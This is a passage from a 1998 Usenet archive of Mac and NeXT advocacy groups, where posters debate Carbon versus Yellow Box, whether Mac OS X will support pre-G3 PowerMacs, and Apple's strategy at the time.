> Partly true. But I thought that some of the Carbon APIs were new or were
> modified versions of the current ones. I wouldn't expect a Carbon app to
> run unmodified on Mac OS 8.
As far as I can see today, it is possible to build a Carbon application
and a MacOS application from the same code base. In other words, write a
program, tell the compiler to make a MacOS application, then tell it to
make a Carbon application. That is the same as nowadays making a 68000
application and a PowerPC application from the same code base. From the
program developers point of view, that is the really critical thing, and
the reason why developers didnt like the idea of Rhapsody.
There are probably some new interface in Carbon, but that is business as
usual for the developer. You cant use 8.1 functions when your program runs
on System 7, so you check.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 08:56:40 -0500
Organization: Prairie Group
Message-ID: <MPG.10151f8fca0af55e989996@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu> <pulsar-ya02408000R1307981954300001@news-proxy.cso.uiuc.edu> <MPG.1014a8e367d27764989993@news.supernews.com> <pulsar-ya02408000R1407980055330001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1407980055330001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com says...
> In article <MPG.1014a8e367d27764989993@news.supernews.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
> > And I think your person count is unrealistic. Trying to bring a new OS
> > onto a half-dozen different motherboard designs (we laptop users want in
> > too) is not a trivial task. Maybe, maybe you could get away with the 4
> > people for two weeks if nothing goes wrong...but there is no spare room
> > for things going wrong. And if you've announced publicly "we'll be
> > supporting these older machines", you can't take the chance on things
> > going wrong.
>
> Remember that at least some of the work from Rhapsody can be carried over
> to Mac OS X.
Some of the work, yes. But I think Carbon will be a big job.
> > 8 people 4 weeks to test a whole operating system on a half dozen
> > designs? No way. Maybe they could go through enough tests to be
> > confident that if people do the normal things to the computers it will
> > all work, but that's not sufficient. There are those who put 10,000
> > files in one folder, there are those who run with 1% free memory, there
> > are those who have this one weird board nobody at Apple had ever heard
> > about.
>
> I'm curious as to why you think the testing phase would take so much
> effort. The upper level parts are pretty well abstracted from the hardware.
> All of those things interface with the kernel. Once you get the kernel
> solidly working on those machines, there should be relatively little (not
> nothing mind you!) that needs testing.
With Rhapsody, you would be right. But, I suspect Carbon may have some
hardware dependancies.
> This couldn't be done with the Mac OS. The Mac OS is not very well
> abstracted from the hardware. Things are so interrelated and hacked
> together now that to alter on thing and assume that it will affect nothing
> else would be monserously foolish. There is no significant hardware
> abstraction layer when compared to Rhapsody/Mac OS X. Things are not nearly
> as bad for those.
Yes, it will be a smaller job than OS 9.0. But it's still a big job.
Hell, we did more testing than that on new versions of QUICKMAIL!
> Some of this development and testing can be done in parallel with the
> development of the high level portions of the OS. There is no reason why it
> must be done serially (except perhaps resource constraints).
It may or may not work. When you're testing incomplete work, you may
spend an hour or so tracking down a bug and documenting it clearly to
have the programmer say "I'm already working on it." And some QA
engineers have an attitude that "OK, I've found the bug, fix it now"
which can blow the programmer's schedule to hell.
> > And you've got all this going on WHILE Apple is being stretched to the
> > seams to get the current plan out, and management's job turns into a
> > circus act to keep all the plates spinning on the top of the poles.
> >
> > With modifications, your numbers might work for an Apple without a major
> > project going on. To do it while also doing X would be a stretch.
>
> Do you _really_ believe that it would _ever_ cost Apple anywhere near 8
> million dollars to write support for these machines? I will agree that
> _time_ might be an issue. I have said that many times in various threads
> for the last few weeks.
>
> Cost is just a non-issue for so many reasons.
To be willing to bet the company, to put the official Apple approval for
it, to be opening yourself up to lawsuits if something goes wrong...yes,
I think 8 million could be close. In a company fighting back from long
periods of loses, I don't think you could call cost a non-issue.
But you are also right, time is an issue. And I don't think Apple can
afford to blow this deadline (by any significant length).
Donald
From: Bill Bumgarner <bbum@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Tue, 14 Jul 1998 10:22:26 -0400
Organization: Spacelab.net Internet Access
Message-ID: <Pine.NXT.3.96.980714095829.3157E-100000@pathos>
References: <35AA8501.CF6AAF27@nospam.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
To: timtr@mindspring.com
In-Reply-To: <35AA8501.CF6AAF27@nospam.com>
On Mon, 13 Jul 1998, Tim Triemstra wrote:
> 1) Is ObjectiveC actually going to be a/the primary development
> environment for all "from scratch" programs by MacOS X's release?
You can program in Java, you can program in ObjC. Same feature set
either way. IB works with either. EOF works with either language.
There will be those that program in ObjC because of its speed and
simplicity.
There will be those that choose Java because of its popularity and
extended feature set [beans, security, etc].
Finally, there will be those that choose both or neither-- both in that
objects from the two languages can be freely mixed. Neither in that
through the use of tools like TipTop's ObjectEverwhere or [that other
company that I can't remember]'s Joy, you can use Python, Tcl or Perl to
do Yellow programming.
Yellow is IMPLEMENTED IN OBJECTIVE-C... that's it, it does not TIE the
programmer to ObjC!
> 2) If not, do they intend to somehow wrap the API up in C++ or are they
> going to just go to a complete JNI interface via Java (actually,
> probably best long term solution - not byte code folks.)
Wrapping the Yellow APIs in C++ would be really, really difficult. C++ is
a truly static data encpaulsation language; it cannot easily express the
dynamic binding paradigm that is at the heart of Yellow.
Because of ObjC's dynamic nature, it is quite easy to create bridges
between it and other languages-- especially when those languages have
dynamic features of their own. As such, Apple has provided a really nice
bridge between ObjC and Java. It is possible to write classes in either
language and bridge their functionality into the other either by providing
conversion maps [that are mostly automatic] or by actually providing
mirrored functionality in the other language.
> 3) Or, my personal pessimism evident, is Yellow Box dead in the water >
> >and you'll never hear Apple talk about it again (like the read headed >
> >step child locked in the attic scenerio.) We've seen them do it with
> so > many other technologies. More importantly, I feel like that lockd
> up > kid every time I look at my NeXTSTEP 3.x boxes around the office.
> Will > Carbon be "it"? I mean, think about it, they are talking about
> unifying > a single OS on all platforms, including a handheld, right?
> Do you > honestly believe that you'll see an ObjectiveC program using
> .nib files > on a handheld? C'mon > > So, is there anything in print or
> on an official web site regarding > Yellow Box that has been possitive
> or forward thinking - that has been > published since the Carbon
> announcement? I can't find anything, and I > think I would be a flaming
> idiot to program for Yellow until there is > something to hear. > > --
It is your personal pessimism....
Yellow is:
- the means by which Apple offers developers a pathway to deployment on
Win95/NT. Why would they do this? Because most developers cannot justify
developing a cross-platform product for the Mac FIRST-- Even the hard-core
advocates like Douglas Adams had to develop his software for Windows and,
after that, only released it on the Mac because of his (and his company's)
love for the Mac.
By providing developers with a means to create a single source tree that
runs onboth platforms, Apple can offer developers a development solution
that works RIGHT NOW (unlike Java) to bring product to both markets
simultatneously.
- the programming framework that ALL of Mac OS X's administrative tools
are created in. No Yellow, they all have to be rewritten.
- Yellow is a modern set of APIs-- often considered to be one of the best
GUI programming APIs in the industry. Carbon is a slightly refined MacOS
8.0- GUI API... i.e. it is primitive in comparison.
- at the core of EOF and WebObjects. Without the Yellow technologies,
neither of these tools will work without a massive porting effort. EOF is
the best database access middleware around. WebObjects is the same for
developing WebObjects. Abandon Yellow and both products have to be
reengineered from the ground up.
---
IN terms of running Yellow on a "small" environment like a hand held,
there is NOTHING preventing this from happening...
Display PostScript represents the single heaviest piece of Yellow. It is
a memory hog and requires massive amounts of IPC to do its job. Great for
a workstation class environment-- sucks on NT/95 or on a hand held.
It is going away.
Without it, there is NOTHING that prevents Yellow from being as small as
the developer wants it to be. Likewise, there is NOTHING preventing the
developer from building Yellow based applications with interfaces defined
outside of NIB files.
Yellow represents one of the most flexible object frameworks in the
industry... I say this not because I have drank the marketing kool-aid,
but because I have been building yellow based apps for close to nine
years.
I have also looked at many, many other IDEs and frameworks. None compare.
Delphi comes close.
With yellow, we have successfully:
- achieved unprecedented code reuse... 70% to 80% is not uncommon.
- flexibility: we have solutions that with a simple swap of the UI layer
(about 10-15% of the code) are deployed on the web or as desktop
applications-- no changes on the back end. Likewise, with EOF, we
commonly do all of our development against a Sybase database and switch to
Oracle for deployment without changing a single line of code.
- incredible levels of productivity: the yellow frameworks are incredibly
well designed. As such, they can be leveraged extremely effectively. At
CodeFab, we do not hesitate to build our own tools for contact management,
project management or to track other aspects of the client
relatiionship... with the tools provided by Apple, we can build tools
designed to fit our business process that are available both as full blown
desktop GUIs as well as Web Based applications.
b.bum
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 14 Jul 1998 07:16:00 -0700
Organization: Primenet (602)416-7000
Distribution: world
Message-ID: <6ofp70$mf6@nntp02.primenet.com>
References: <6n6a2e$21s$1@news.cmc.net> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> <6o6ud6$b37$1@news.cmc.net>
<Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au> <bgrubb-1107981623570001@lc180.zianet.com> <6odcgk$6ah@nntp02.primenet.com> <christian.bau-1407980951520001@christian-mac.isltd.insignia.com>
Christian Bau <christian.bau@isltd.insignia.com> wrote:
: In article <6odcgk$6ah@nntp02.primenet.com>, John Jensen
: <jjens@primenet.com> wrote:
: > If we are looking back at Mac CLIs, there were some compatiblity factors
: > that limited their use.
: >
: > - No system-wide concept of Stdin and Stdout
: >
: > - No system-wide standard for CLI programs
: >
: > Most CLIs used a home-grown system of code resources and callbacks to
: > implement CLI utilities. I don't believe you could use an MPW "ls"
: > command in MacDOS, for instance.
: MPW is the only CLI that I have ever used or that I have seen being used
: on the Macintosh in almost fourteen years. There is an MPW-wide concept of
: stdin and stdout, and an MPW-wide standard for CLI programs. That is
: enough.
There were about a half dozen Mac CLIs. You can see a little on the one I
wrote by searching Info-Mac for "nShell".
Now that MPW is a free download the other shells hardly matter, but if we
are discussing why shells did not catch on earlier, I'll stick with "lack
of standards" and add "politically incorrect".
John
From: jawed@comlink.purger.or.jp (Ahmad Jawed Hirobumi Atif)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.system
Subject: Re: Apple, replace g3's floppy with superdisk!!
Followup-To: comp.sys.mac.hardware.misc
Date: Tue, 14 Jul 1998 20:26:56 +0900
Organization: To reply directly, please remove ".purger".
Message-ID: <jawed-1407982026560001@comlink.purger.or.jp>
References: <jpolaski-0707980933270001@d151-216.ce.mediaone.net> <6nvdvi$r15$1@news12.ispnews.com> <jpolaski-0907980849330001@d151-216.ce.mediaone.net> <6o2igm$ss6$1@news0-alterdial.uu.net> <6o34ih$bac$1@callisto.acsu.buffalo.edu> <6o3iuf$u1e$1@nnrp1.dejanews.com> <macghod-1107981158280001@sdn-ar-001casbarp259.dialsprint.net> <6od270$vt9$1@ins8.netins.net>
Mime-Version: 1.0
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followup-to is set.
I wonder if Superdisk a.k.a. LS-120 is worth getting excited about, as
I've heard that it's slow (somewhat close to floppy at 60~80 kb/s?).
--
Cheers, Jawed
To reply directly, please remove ".purger".
From: rossber@slip.net (Ross Bernheim)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 14 Jul 1998 05:49:30 -0800
Organization: Slip.Net (http://www.slip.net)
Message-ID: <1dc4ht1.ymip1j1g6qhxqN@[209.209.6.50]>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <35A7EFE9.DB0E7AA2@nstar.net> <gmgraves-1207981508430001@sf-usr1-36-164.dialup.slip.net>
George Graves <gmgraves@slip.net> wrote:
> The worst of all possible societies would be one comprised of:
> German Police
> French Engineers
> Russian car makers
With electricals by Lucas (The Prince of Darkness)
> British cooks
> a Microsoft computer operating system
--
Ross Bernheim
rossber@slip.net
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 14 Jul 1998 08:38:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6ofu0o$q2h@nntp02.primenet.com>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos>
Bill Bumgarner <bbum@codefab.com> wrote:
: By providing developers with a means to create a single source tree that
: runs onboth platforms, Apple can offer developers a development solution
: that works RIGHT NOW (unlike Java) to bring product to both markets
: simultatneously.
I will be somewhat pleased, and not all that surprised, if Yellow ships
before and better than Java. Nonetheless it annoys me when people stretch
the truth in capital letters. RIGHT NOW would mean to me that you can
ship your software to real customers today. Is that true?
John
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 10:59:34 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980714102433.26684A-100000@ux5.cso.uiuc.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu> <pulsar-ya02408000R1307981954300001@news-proxy.cso.uiuc.edu> <MPG.1014a8e367d27764989993@news.supernews.com> <pulsar-ya02408000R1407980055330001@news-proxy.cso.uiuc.edu> <MPG.10151f8fca0af55e989996@news.supernews.com>
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On Tue, 14 Jul 1998, Donald Brown wrote:
> In article <pulsar-ya02408000R1407980055330001@news-proxy.cso.uiuc.edu>,
> pulsar@springnet1.com says...
> > In article <MPG.1014a8e367d27764989993@news.supernews.com>,
> > don.brown@cesoft.com (Donald Brown) wrote:
>
<snip>
> > I'm curious as to why you think the testing phase would take so much
> > effort. The upper level parts are pretty well abstracted from the hardware.
> > All of those things interface with the kernel. Once you get the kernel
> > solidly working on those machines, there should be relatively little (not
> > nothing mind you!) that needs testing.
>
> With Rhapsody, you would be right. But, I suspect Carbon may have some
> hardware dependancies.
It is supposed to interface with the kernel from all that I've seen, but I
don't know whether Apple will be able to abstract everything. Even so, the
level of direct hardware interaction should be very small when compared to
the Mac OS (this is speculation of course). If it all interfaces with the
kernel, then testing shouldn't be _too_ big a deal.
> > Some of this development and testing can be done in parallel with the
> > development of the high level portions of the OS. There is no reason why it
> > must be done serially (except perhaps resource constraints).
>
> It may or may not work. When you're testing incomplete work, you may
> spend an hour or so tracking down a bug and documenting it clearly to
> have the programmer say "I'm already working on it." And some QA
> engineers have an attitude that "OK, I've found the bug, fix it now"
> which can blow the programmer's schedule to hell.
Yes, but this will already happen because the kernel for Mac OS X doesn't
even work on PowerMac G3s yet either. Throwing in some pre-G3 support
shouldn't significantly affect this issue particularly if it is done after
G3/G4 support (or heck, even before, but I think G3/G4 support should be
the priority).
> > Do you _really_ believe that it would _ever_ cost Apple anywhere near 8
> > million dollars to write support for these machines? I will agree that
> > _time_ might be an issue. I have said that many times in various threads
> > for the last few weeks.
> >
> > Cost is just a non-issue for so many reasons.
>
> To be willing to bet the company, to put the official Apple approval for
> it, to be opening yourself up to lawsuits if something goes wrong...yes,
> I think 8 million could be close. In a company fighting back from long
> periods of loses, I don't think you could call cost a non-issue.
I'm not asking for official approval. I'm asking for serious
consideration. Apple apparently refuses to do either. A commitment by
Apple to support these machines would be nice if it is reasonable to do
so. I don't want Apple to commit to this unless it thinks it can actually
pull it off. I've seen no particular evidence that anybody at Apple has
even really thought about it. Maybe they have, but they've not told
us anything about it.
The cost to get it running is a non-issue for a few reasons.
1) Apple would probably make a short term profit off of making it
available to these customers anyway.
2) Apple would not set a precedent of orphaning machines sold only one
year before. Setting that precedent could scare a lot of potential
customers away from the platform and tip over the edge those who are
already going to be orhpaned by this (like NuBus PowerMac owners who
aren't even getting Rhapsody).
3) Apple would make a gesture of good will towards owners of these
machines. Not supporting them could very well alienate them causing them
to leave the platform.
4) Supporting these machines would expand the user base for Mac OS X which
would be even smaller otherwise. It would result in fragmenting the
important part of the user base into on larger fragment thus reducing the
damage done by that fragmentation.
It could be that Apple doesn't care about these things, but I think it
would be a mistake to casually dismiss them as Apple seems to have done
at the moment.
> But you are also right, time is an issue. And I don't think Apple can
> afford to blow this deadline (by any significant length).
Indeed they can't. If Apple would just say that they've looked into the
issue and found that it would delay too far the release, I would quiet
down. I might still grumble a bit, but I'd at least understand the
rationale. So far all it looks like is a way to increase profits by
screwing us.
If Mac OS X runs on my PowerMac 8500/180, I will not only buy Mac OS X,
but I will buy a new PowerMac G3 (or G4 if they're available) machine as
well to run Mac OS X on. I like supporting Apple when it doesn't do stupid
things like drop support for the machine I use _just_ to try to force me
into buying a new machine.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-kiNMHlGjsf4j@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <6oeheq$672$3@lwnws01.ne.highway1.com>
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Date: 14 Jul 1998 16:21:50 GMT
Organization: IBM.NET
On Tue, 14 Jul 1998 02:57:30, John Kheit <jkheit@mediaone.net> thought
aloud:
> pit@iohk.SPAM-NOT.com (taiQ) wrote:
> > I would sincerely wish to get full and official explanation regarding
> > pre-G3 Powermacs' OS compatibility at Apple's soonest convenience. The
> > only things worse than getting shafted are either getting shafted and
> > left in the dark, or getting shafted twice.
>
> This is such a common thing, that sadly it has become truthful cliche around
> apple. The decision making, oftimes, is so bumbling and incompetent, yet
> aggressively ass covering as to completely turn off large numbers of even pro
> apple sentiment people. (NeXT user experiences towing right in line as
> well).
Despite all Apple mismanagement over the years I still give credit to
their efforts to support their existing userbase in the past.
Regarding the current (interim?) management, I do have respect for
them (him?) for making decisions over the last year that, at least in
the short term, have gained Apple some credibility and black ink. I
even understand them being often vague about their future directions
as to give them more room to manouver and surprise but to
categorically backtrack from supporting last year's hardware (earlier
categorically supported) is too much. So Copland failed (partly)
because of over-ambitious plans for legacy support - well, "Rhapsody"
isn't (I still hope) failing... technically, that is, politically the
future can easily be jeopardized.
I am not certain I would call the current management's decision making
exactly bumbling or incompetent as a whole. They have made many
difficult decisions and fast, and they're still in business, but e.g.
in this (recent hardware support) case they're apparently
intentionally (in the name of short term profit) shafting those very
Mac users who stood by them at their darkest hour and bought machines
that would allow them to show profit in the first place. If the '97
Mac buyers had stayed away, even if waiting for the rumoured new G3
designs, there might not be Apple today!
There are other issues, such as the current downplaying (lack) of
"Yellow Box" strategy and cross-platform compatibility that concern me
but I or anybody else haven't burned thousands of dollars on those
products and then getting left high and dry. For now I cannot but wait
and see if Apple will change their tune regarding the Rhap/MacOS X
support and soon enough to allow someone like myself to continue
migrating to Apple's hardware and software platforms instead of going
away.
Brgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-1bNlbUFGRnW9@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
References: <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <B1D0421E-D3B03@207.114.1.115>
MIME-Version: 1.0
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Date: 14 Jul 1998 16:21:59 GMT
Organization: IBM.NET
On Tue, 14 Jul 1998 02:59:25, "Gary Curtis" <gcurtis@abs.net> thought
aloud:
> You really hit the nail on the head for me. I bought a PB3400 in
> December based in large part on the promises that Rhapsody
> would run on all PPC PCI machine sold as of '97.
>
> Now what do we here? Despite the fact the Rhapsody DR2 (to become
> MacOS X) runs on this system today, Apple are not going to support it with
> MacOS X. Man, do I feel like an idiot.......Thanks Apple!
I do wonder if Apple management has the will and guts to reverse the
recent sweeping "G3 or later only" statements. All '97 hardware, such
as the PB3400 would get a major productivity boost from Rhap/MOX
without a doubt. Come to think of it, one major reason would seem to
be Apple's bean counters deciding that Mac OS 8.5/8.6 upgrades would
bring them easy revenue and keep us occupied until time buries the
modern OS support problem. I was planning to snap 8.5 off the shelf
ASAP and pay for another OS upgrade when Rhap/MOX arrives but Apple
has put me in an indefinite spending moratorium.
Joe Ragosta recommended writing to Apple and also mentioned about a
site set up for making opinions (potentially) heard in this matter.
IIRC the site was somewhat G3-upgrade oriented (xlr8yourmac.com?) so I
just mailed my piece directly to Apple. Although ideally even the
upgraded models would be capable of running MOX, if not totally tested
and certified, at least their original designs should be supported.
Btw, here's a good column putting it as it stands for us '97'ers.
http://www.thessasource.com/columns/tme_071398.html
Brgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net>
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Date: 14 Jul 1998 16:22:11 GMT
Organization: IBM.NET
On Mon, 13 Jul 1998 22:32:25, not@a.valid.email.add (Michael M.
Eilers) thought aloud:
> In article <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost>,
> pit@iohk.SPAM-NOT.com (taiQ) wrote:
>
> > I would like to fully move to (modern) Apple platform and was looking
> > forward to getting more new Apple hardware but I feel ashamedly
> > shafted by this new "nothing-pre-G3 supported" corporate line. Is this
> > some kind of inevitable initiation to the fold of Apple faithful or
> > what? Some websites and columnists have quickly taken the approach
> > that dropping (Rhapsody / Mac OS X) support for "older" Macs is
> > understandable and even a Good Thing (tm) if it allows Apple to sell
> > more G3's to the pre-'98 suckers (eh, owners), to make Mac OS X
> > somehow run faster if pre-G3 machine support isn't on the installation
> > CD's, <insert Yet Another Great Excuse here>, etc... Yeah right.
>
> The issue has nothing to do with hardware at all. It has to do with the
> amount that Apple is willing to spend testing, supporting, and adapting OS
> X to legacy systems. Legacy systems, in this case, means anything that was
> released or shipped before Mac OS X and Mac Os X Server were announced, at
> this point. Apple isn't going to spend the dough.
Ah, the great re-naming game. When was Mac OS X Server announced
again? Last week? And was it really "announced"? Are current '97-'98
G3's absolutely certainly going to be Mac OS X compatible when/if it
finally ships in late '99? See where this leads?
> > I would sincerely wish to get full and official explanation regarding
> > pre-G3 Powermacs' OS compatibility at Apple's soonest convenience. The
> > only things worse than getting shafted are either getting shafted and
> > left in the dark, or getting shafted twice.
>
> Why have you all forgotten a very obvious point? Development on Allegro
> (8.5) is going to continue in parallel with Mac OS X, with features
> migrating "downstairs" from OS x the whole time. Both OS 8/9 and OS X
> (with OS X Server) are going to co-exist the whole time, and the 601-604e
> OS's will continute to exist for the future. No, you won;t be able to run
> the latest and greatest, but trust me, NT 5.0 isn't going to run on any
> 486 (and perhaps nothing below Pentium II.) There is a far distance
> between "getting shafted" and just getting second place in line.
I have not forgotten the point Allegro was supposed make. Parallel
development was, until recent policy changes, due to lack of seamless
Blue Box (remember that?) in Rhapsody, and to support if not '040's at
least the host of first generation Nubus-based Powermacs. A "601-604e"
OS is an alien and unwelcome new concept to me.
I couldn't care less what NT does or does not run on. ;-) And M$
isn't a supplier of integrated solutions (or any solutions if you
asked me) like Apple is, and I didn't buy a PC last year on the
promise that NT 5 would run on it.
Is "getting second place in line" an euphemism for getting shafted? Do
you have a recent Powermac that, if the recent policy U-turn stays in
place, will become unsupported under Mac OS X (the OS formerly known
as Rhapsody - TOFKAR)?
Rgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-BD57ORu6yudN@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <1dc5a0z.gy73ut1b1nfl4N@ip206.albnxr2.ras.tele.dk>
MIME-Version: 1.0
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Date: 14 Jul 1998 16:22:07 GMT
Organization: IBM.NET
On Tue, 14 Jul 1998 06:29:37, xerxes@diku.dk (Per Erik R=F8nne) thought
aloud:
> taiQ <pit@iohk.SPAM-NOT.com> wrote:
>
> > last year Apple was selling these systems as future-proofed but suddenly
> > the only upgrade option remaining is just the old Mac OS 8.x line, which,
> > despite being an improvement, is nowhere near the modern OS that the
> > Rhapsody upgrade was touted to be for these machines.
>
> Which only proofs that you should not replace your computer in order to
> be sure it is future-safe.
Huh? And if the policy is to dump (reverse decision to) support for
last year's models what will happen next year?
> Instead, use upgrade cards if its to slow. My 6100 is still running and
> is upgradeable to a G3 with 240 MHz and 1 M backside cache.
The problem isn't 4-some-year-old hardware but those of last year -
those that were touted as compatible with the upcoming super OS. '97
models are plenty fast running an efficient fully native OS that was
part of the sales pitch until recently.
> Replace the computer when you have ascertained it can no longer be used
> with the newest OS version - and if you _need_ this version.
>
> And then - sell the old computer, give it away to family or use it as a
> UNIX [MkLinux] box. In general, the newest computers aren't supported by
> MkLinux, the old NuBus based are.
We're talking about '97 Macs here, with many of the models being
actively sold well into this year and even today. Sold as
"Rhapsody-compatible". If the solution is to either dump last year's
system or replace it with non-supported Linux... wouldn't it be more
sensible to go directly for a cheapo no-name PC, even second-hand, to
run Linux where it is better supported. Sure, although the learning
curve is rather steep Linux is very stable when set up correctly but I
bought an Apple because it was supposed to bring the stability of
Linux to Mac users while keeping the user-friendliness I've come to
love. Apple sold '97 systems on the premise that users wouldn't have
to choose between bullet-proof stability or user-friendliness (i.e.
Rhapsody compatibility).
Rgds,
--
taiQ
[this space is intentionally blank]
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 14 Jul 1998 11:21:41 -0500
Organization: Ericsson North America Inc.
Message-ID: <35AB8595.76E087AD@ericsson.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net>
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George Graves wrote:
> > Apple isn't going to be selling off the Enterprise stuff.
> >
> > YB isn't going to be sold off, and it isn't dead. Not by a
> > long shot.
> >
> > Geez, why do you people listen to Henry Norr?
>
> Scott. there's an old saying that bears restating here:
>
> "History repeats itself."
I daresay Henry Norr has seen a bit more of Apple's history than, say
(off the top of my head), someone like Scott Anguish. Pretending to be
the lone voice of reason sounds like so much naivete, coming from a
relative newbie to the Apple culture.
MJP
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Tue, 14 Jul 1998 11:31:41 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6og17t$73c2@odie.mcleod.net>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos>
Bill Bumgarner wrote in message ...
>Yellow is:
>
>- the means by which Apple offers developers a pathway to deployment on
>Win95/NT. Why would they do this? Because most developers cannot justify
>developing a cross-platform product for the Mac FIRST-- Even the hard-core
>advocates like Douglas Adams had to develop his software for Windows and,
>after that, only released it on the Mac because of his (and his company's)
>love for the Mac.
>
[Deleted]
>
>b.bum
>
I agree with all of Bill Bumgarner's glowing description of YellowBox
technology. In many ways he even understated it. Never the less, YellowBox
is dead. People in this group keep saying that Apples message is muddled.
It is NOT. It is crystal clear. Apple executives have said multiple times
in public and for the press that Carbon is THE APPLE API and that CARBON is
